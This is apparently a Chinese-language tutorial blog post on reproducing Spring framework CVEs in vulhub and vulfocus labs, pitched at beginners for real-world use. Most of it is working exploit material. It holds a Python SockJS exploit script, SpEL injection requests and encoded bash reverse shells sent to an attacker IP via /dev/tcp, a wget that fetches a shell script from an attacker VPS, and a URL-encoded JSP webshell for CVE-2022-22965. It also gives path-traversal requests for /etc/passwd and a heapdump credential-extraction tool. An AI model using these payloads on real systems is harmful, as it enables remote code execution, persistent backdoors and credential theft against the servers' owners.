正如各位读者所见,我们新开了一个主题:经典漏洞复现,和其他文章不一样之处在于--我们会详细介绍漏洞原理+漏洞指纹特征+详细的利用(复现)过程,在这个系列里我们希望能带着读者(小白)去认识并掌握每一个漏洞,就拿今天的spring框架来说,我们相信小白读完这篇文章以后,以后在实战里可以快速识别出来spring框架并熟悉可能会出现的漏洞及相应的打法
本文目录
框架介绍 | 何为spring,在哪会遇到spring |
识别spring | 如何在实战中快速分辨spring框架 |
漏洞列表 | spring漏洞全版本 |
漏洞环境搭建 | vulhub+vulfocus |
漏洞复现 | 1.如何识别当前站点是否存在漏洞 |
2.哪些版本(情况)存在该漏洞 | |
3.漏洞指纹特征⭐ | |
4.如何复现 | |
5.如何实现自动化 | |
工具 | 1.指纹识别工具 |
2.综合利用工具 |
零-什么是spring
2.默认报错的页面
这里milu这个文件肯定是不存在的
3.常见端点
/autoconfig 提供了一份自动配置报告,记录哪此自动配置条件通过了,哪些没通过
/contigprops 描述配置属性 (包含默认值) 如何注入 Bean
/beans 描述应用程序上下文里全部的 Bean,以及它们的关系
/dump 获取线程活动的快照 (常见)
/env 获取全部环境属性 (常见)
/env/(name) 根据名称获取特定的环境属性值
/health 报告应用程序的健康指标,这些值由 Healthlndicator 的实现类提供 (常见)
/info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
mappings 描述全部的 URI 路径,以及它们和控制器 (包含 Actuator 端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
/metrics/(name) 报告指定名称的应用程序度量值
/shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true (默认为 false)
/trace 提供基本的 HTTP 请求跟踪信息 (时间截、HTTP 头等)
1.x版本:http://ip:port/env
2.x版本:http://ip:port/actuator/env
例如
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
上面的常见目录可以fuzz
4.wappalyzer插件识别
5.响应标头有X-Application-Context字样
如
如果开发者设置如下,这个特征就会消除
management.add-application-context-header: false
3.spring路由和版本知识
何为路由
有些程序员会自定义 /manager
、 /management 、项目App相关名称为 spring 相关 名称为spring 根路径
Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
Spring Boot Actuator 默认的内置路由名字,如/env ,有时也会被修改,比如/appenv
这里会涉及到后面的springboot actuator未授权访问
版本知识
说明:Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。
Spring Cloud 大版本 | Spring Boot 版本 |
---|---|
Angel | 兼容 Spring Boot 1.2.x |
Brixton | 兼容 Spring Boot 1.3.x、1.4.x |
Camden | 兼容 Spring Boot 1.4.x、1.5.x |
Dalston | 兼容 Spring Boot 1.5.x、不兼容 2.0.x |
Edgware | 兼容 Spring Boot 1.5.x、不兼容 2.0.x |
Finchley | 兼容 Spring Boot 2.0.x、不兼容 1.5.x |
Greenwich | 兼容 Spring Boot 2.1.x |
Hoxton | 兼容 Spring Boot 2.2.x |
Spring Cloud 小版本号的后缀及含义
小版本号后缀 | 含义 |
---|---|
BUILD-SNAPSHOT | 快照版,代码不是固定,处于变化之中 |
MX | 里程碑版 |
RCX | 候选发布版 |
RELEASE | 正式发布版 |
SRX | 修复错误和BUG并再次发布的正式版 |
二-漏洞列表
复现顺序 | 漏洞名称 | 漏洞ID | 影响版本 |
---|---|---|---|
1 | Spring Websocket RCE | CVE-2018-1270 | Spring Framework 4.3-4.3.15 Spring Framework 5.0-5.0.5 |
2 | Spring Data RCE | CVE-2018-1273 | SPring Data Common 1.13-1.13.10 Spring Data REST 2.6-2.6.10 Spring Commons 2.0-2.0.5 Spring Data REST 3.0-3.0.5 |
3 | Spring Data REST RCE | CVE-2017-8046 | Spring Data REST < 3.0.1 and Spring Boot versions < 1.5.9 Spring Data REST < 2.6.9 and Spring Boot < 1.5.9 |
4 | Spring Web Flow RCE | CVE-2017-4971 | Spring Web Flow 2.4.0-2.4.4 Spring Web Flow 2.4.4-2.4.8 |
5 | Spring Security OAuth2 RCE | CVE-2016-4977 | Spring Security OAuth 2.0-2.0.0 Spring Security OAuth 1.0-1.0.5 |
6 | Spring Boot 目录遍历 | CVE-2021-21234 | Spring boot < 0.2.13 |
7 | Spring Data MongoDB SpEL Expression injection | CVE-2022-22980 | Spring Data MongoDB == 3.4.0 3.3.0 <= Spring Data MongoDB <= 3.3.4 |
8 | Spring Framework RCE | CVE-2022-22965 | jdk9+ and Spring及其衍生框架 and 使用tomcat部署spring项目 and 使用了POJO参数绑定 and Spring Framework 5.3.x - 5.3.18 or Spring Framework 2.x - 5.2.20 |
9 | Spring Cloud Function RCE | CVE-2022-22963 | 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 |
10 | Spring Cloud Gateway RCE | CVE-2022-22947 | Spring Cloud Gateway 3.1.0 Spring Cloud Gateway 3.0.0 - 3.0.6 老版Spring Cloud Gateway 也可能存在 |
11 | Spring Actuator 未授权访问 | None | None |
12 | 获取星号信息 | None | None |
13 | whitelabel error page SpEL RCE | None | None |
14 | mysql jdbc deserialization RCE | None | None |
三-搭建漏洞环境(docker+vulhub)
我们采用vulhub做为靶场,第一步介绍如何在kali安装docker
换阿里云源
vim /etc/apt/sources.list
将其之前的程序全部注释#
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
安装公钥
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 40976EAF437D05B5
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32
更新源
apt-get update
安装https协议、CA证书
apt-get install -y apt-transport-https ca-certificates
安装docker
apt install docker.io
查看是否安装成功
docker -v
systemctl start docker
docker ps -a
apt-get install python3-pip
pip3 install docker-compose
查看docker-compose版本
docker-compose -v
安装vulhub
git clone https://github.com/vulhub/vulhub.git这个太慢了
建议用下面这条
git clone https://gitclone.com/github.com/vulhub/vulhub
抽根烟的功夫就下好了
进入到vulhub目录,ls一下
启动环境
进入要联系的对应漏洞,例如CVE-2016-4977
启动环境
docker-compose build
docker-compose up -d
查看环境
docker-compose ps
访问环境
复现完以后,关闭环境
docker-compose down
三-复现漏洞
1.Spring Websocket RCE(CVE-2018-1270)
启动
漏洞指纹
访问/gs-guide-websocket
靶场如下
根据指纹信息可知存在CVE-2018-1270
1.3exp
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
kali这里
nc -lnvp 5555
执行exp
来了
1.1漏洞介绍
1.2漏洞指纹
无明显指纹,可能存在spring框架和数据库交互的地方(例如表单)
这里vulhub靶场长这样
先扫一下目录
访问users目录
1.3exp
在表单哪里随便输点,如何抓包,改成如下
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.233.131:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://192.168.233.131:8080
Connection: close
Referer: http://192.168.233.131:8080/users?page=6&size=5
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=
这里用一下dnslog
1.4getshell
bash$IFS$9-i>&/dev/tcp/192.168.233.131/6666 0>&1
先对这条命令bash编码
这里有个坑, Java Runtime.exe() 执行命令与反弹shell 要进行编码,java管道符无效的原因无法反弹,而且要使用IFS内部域分隔符,对空白处进行填充,不然也是反弹不回来的:
然后拼接
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCRJRlMkOS1pPiYvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNjY2NjwmMSA=}|{base64 -d}|{bash -i}")]=&password=&repeatedPassword=
如果这里getshell失败,那就在自己服务器放一个shell脚本,让受害机去访问这个url
bash-i>&/dev/tcp/XXXXXX/port 0>&1
访问sh地址
wget http://工具人vps地址/reshell.sh
工具人vps上
# 开启http服务
python3 -m http.server 8080
访问shell地址(工具人vps地址)
运行shell
bash /tmp/shell.sh
ok下一个
3.Spring Data REST RCE(CVE-2017-8046)
3.1漏洞介绍
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
影响版本:
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
3.2漏洞指纹
看到 json格式的返回值,说明这是一个 Restful风格的API服务器
理解什么是restful
restful是一种软件架构风格、设计风格,而不是标准,只是提供了一组设计原则和约束条件。它主要用于客户端和服务器交互类的软件。基于这个风格设计的软件可以更简洁,更有层次,更易于实现缓存等机制。restful关键是定义可表示流程元素/资源的对象。在REST中,每一个对象都是通过URL来表示的,对象用户负责将状态信息打包进每一条消息内,以便对象的处理总是无状态的。
rest原理包括
系统上的一切对象都要抽象为资源;
每个资源对应唯一的资源标识(URI);
对资源的操作不能改变资源标识(URI)本身;
所有的操作都是无状态的等等。
指纹就是网页全是json,里面有一些类
访问customers/1
3.3 poc
PATCH的值是 SpEL表达式,添加请求头为Content-Type:application/json-patch+json ,而且命令需要改为10进制编码。
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,105,52,120,78,68,107,118,78,122,99,122,77,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
"value": "exploit"
}
]
比如ping dns地址这样写
转化为十进制的时候可以用这条命令
",".join(map(str, (map(ord,"bash -c {echo,xxx}|{base64, -d}|{bash, -i}"))))
然后bp发包就行了
getshell同理
bash -i >& /dev/tcp/192.168.233.131/7777 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"))))
然后bp发包
ok下一个
4.Spring Web Flow RCE(CVE-2017-4971)
4.1漏洞介绍
4.2影响范围
Spring Web Flow 2.4.0 - 2.4.4
4.3漏洞指纹
无明显漏洞指纹,在各种提交表单的地方可以尝试
4.4poc
靶场长这样
在订阅图书处,存在一个命令执行,直接调用了两个函数:addDefaultMappings 和 addModelBindings。其中,控制field这个值的函数是 addDefaultMappings,且未做过滤,而 addModelBindings 是直接获取的java的一个配置文件,由配置文件确定是否有 binder 节点。如果有,就无法触发代码执行。所以利用条件有两个
1-MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值) 2-flow view 对象中设置BinderConfiguration对象为空
所以这个漏洞触发条件就是找到这个位置
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/ip/port 0>%261")).start()=vulhub
登录,上面已经给了密码
然后随便点一个房间
选购然后提交
点击这里抓包,在后面加上
&_(new java.lang.ProcessBuilder("bash","-c","ping dnslog地址")).start()=vulhub
这里注意这个是有csrf的token的,所以重放是没用的,我这里是为了让读者更直观的看清楚过程
4.5getshell
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.233.131/6666 0>&1")).start()=vulhub
forward的时候改包加上这个
5.Spring Security OAuth2 RCE(CVE-2016-4977)
5.1漏洞介绍
RCE的前提是知道账号密码,Spring Security OAuth2上为Spring 框架提供安全认证支持的一个模块,当使用Whitelabel views来处理错误时,攻击者可以在被授权的情况下通过构造恶意SpEL来远程执行命令
5.2影响范围如
Spring Security OAuth 2.0 - 2.0.9
Spring Secutiry OAuth 1.0-1.0.5
5.3指纹
如果访问
/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
存在登录页面
默认账号密码是admin/admin
而且显示54289就存在该漏洞(233*233=54289)
5.4poc
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
复制结果
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}
拼接到这里
oauth/authorize?response_type=${POC}&client_id=acme&scope=openid&redirect_uri=http://test
无回显
可以xxe,不演示了,直接构造反弹shell指令
反弹shell命令在线生成器|🔰雨苁🔰 (ddosi.org)
和上面一样
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
来了
6.Spring Boot 目录遍历(CVE-2021-21234)
这里自己搭一个vulfocus
git clone https://gitclone.com/github.com/fofapro/vulfocus.git
docker pull vulfocus/vulfocus:latest
安装完以后查看docker拉去的库,查看id
docker images
docker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=(虚拟机IP) (IMAGE ID)
然后访问8081端口,admin/admin登录
然后去镜像管理下载镜像就行了
6.1漏洞介绍
说明:Spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器,作为Spring boot 执行器断点。它是Maven包 “eu.hinsch:spring-boot-actuator-logview”。在0.2.13 版本之前的Spring-bott-actuator-logview中存在目录遍历漏洞。该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此filename=../somefile 将不起作用),但没有充分检查基本文件夹参数,因此filename=somefile&base=../ 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。
6.2漏洞影响范围
spring boot actuator logview < 0.2.13
6.3指纹
首页为ok
or首页为Hellow Spring Boot
6.3exp
#Windows
{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
#Windows
{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
#Linux
{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
#Linux
{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../
7.Spring Data MongoDB SpEL Expression injection(CVE-2022-22980)
说明:Spring Data MongoDB 应用程序在使用带有 SpEL 表达式的 @Query 或 @Aggregation-annotated 查询方法时容易受到 SpEL 注入的影响,如果输入未经过过滤,则该表达式包含用于值绑定的查询参数占位符。
(1)基本表达式:
逻辑运算、三目运算(条件运算符)、正则表达式等等。
(2)类操作表达式:
对象方法调用、对象属性引用、自定义函数、类实例化等等。
(3)集合操作表达式:
字典的访问、投影和修改等等。
(4)其它表达式:
模板表达式。
(1)表达式:传入的字符串内容。
(2)解析器:将字符串解析为表达式内容。
(3)上下文:表达式对象执行的环境。
(4)根对象:默认的活动上下文对象。
(5)活动上下文对象:当前表达式操作的对象。
7.2影响版本
Spring Data MongoDB == 3.4.0
3.3.0 <= Spring Data MongoDB <= 3.3.4
无明显指纹,如果存在spring+mongodb 的组合可以盲打一下
7.4exp
name=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('命令')
这里的name为mongodb接受的参数
如
name=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('touch /tmp/bmh')
8.Spring Framework RCE(CVE-2022-22965)
8.1漏洞简介
Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。
8.2影响版本
jdk9+ & Spring及其衍生框架 & 使用tomcat部署spring项目 & 使用了POJO参数绑定 & (Spring Framework 5.3.x - 5.3.18 | Spring Framework 2.x - 5.2.20)
8.3漏洞指纹
无明显漏洞指纹,看到识别到 Spring+Java 的站可以盲打一下
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=
写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
文件日期格式(实际构造为空值即可)
可以一个一个的GET发送,或者直接一次性POST发送,GET形如下面这种形式说明payload成功
举个例子
class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
不管用get还是post去发
最后去访问shell.jsp会发现里面的内容就是刚才写的spring
写shell
url编码前的webshell:
%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}iurl编码后的webshell:
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
所以现在只需要把shell.jsp的内容换成下面的
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
同时在请求中需要加3个header
suffix:%>//
c1:Runtime
c2:<%
访问shell.jsp?pwd=t&cmd=whoami
9.Spring Cloud Function RCE(CVE-2022-22963)
9.1漏洞介绍
说明:Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。
9.2影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
指纹
/functionRouter
9.3 exp
POST /functionRouter HTTP/1.1
Host: 192.168.233.131:41407
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 6
Test
中间的命令就是形如 --> bash -i >&/dev/tcp/ip/port 0>&1
举个例子
如果是
bash -i >& /dev/tcp/192.168.233.131/5555 0>&1
于是命令变成这样,附带编码网站
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (bewhale.github.io)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}
来了
10.Spring Cloud Gateway RCE(CVE-2022-22947)
10.1漏洞介绍
说明:Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
具体介绍如下
所以这个洞有两个前提
management.endpoint.gateway.enabled: true
management.endpoints.web.exposure.include: gateway
10.2影响版本
pring Cloud Gateway 3.1.0 Spring Cloud Gateway 3.0.0 - 3.0.6 旧的不受支持的版本也受影响
10.3指纹
先介绍一下Spring cloud GateWay的actuator相关端点
获取所有路由:Get请求:http://localhost:xxxx/actuator/gateway/routes/
添加路由:POST请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
删除路由:DELETE请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
获取指定路由:GET请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
刷新路由:POST请求:http://localhost:xxxx/actuator/gateway/refresh
其中,调用添加路由的端点时,可以向路由中加入filters,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters可以直接利用gateway自带的AddResponseHeader,将spEL的执行结果添加到响应头中,直接通过响应头进行查看
所以指纹就很清楚了--> /actutor/gateway
10.4 exp
POST /actuator/gateway/routes/milu HTTP/1.1
Host:x.x.x.x:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
alue": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
这里面的id写要执行的命令
这里filters里的name可以任意修改为下面的内容
#过滤器使用说明
https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the-addrequestheader-gatewayfilter-factory
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize
举几个例子
{
"id": "first_route",
"predicates": [],
"filters": [{
"name": "Retry",
"args":
{
"name": "payload",
"value": "123"
}
}],
"uri": "https://www.uri-destination.org",
"order": 0
}
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"payload"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
{
"id": "first_route",
"predicates": [],
"filters": [{
"name": "RedirectTo",
"args":
{
"status": "302",
"url": "payload"
}
}],
"uri": "https://www.uri-destination.org",
"order": 0
}
{
"id": "first_route",
"predicates": [{
"name": "Cookie",
"args": {
"name": "payload",
"regexp": "ch.p"
}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
10.4.2 触发payload
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
10.4.4 删除路由
DELETE /actuator/gateway/routes/milu HTTP/1.1
Host: 192.168.32.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
10.4.5 刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.32.130:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
11.Spring Actuator 未授权访问
11.1漏洞介绍
Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。
其实这个上面已经说过了
重新说一下吧
11.2端点介绍
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
spring boot 1.x版本端点地址 --> /health
spring boot 2.x --> /actuator
11.3深层次利用
11.3.1 heapdump介绍
Heapdump,即堆转储文件,是一个Java进程在某个时间点上的内存快照。HeapDump记录了JVM中堆内存运行的情况,保存了Java对象、类以及线程栈以及本地变量等信息,最重要的是里面可能存有数据库密码信息。
11.3.2工具
下载地址https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20230608/heapdump_tool.jar
java -jar heapdump_tool.jar heapdump
select * from org.springframework.web.context.support.StandardServletEnvironment
spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值对中
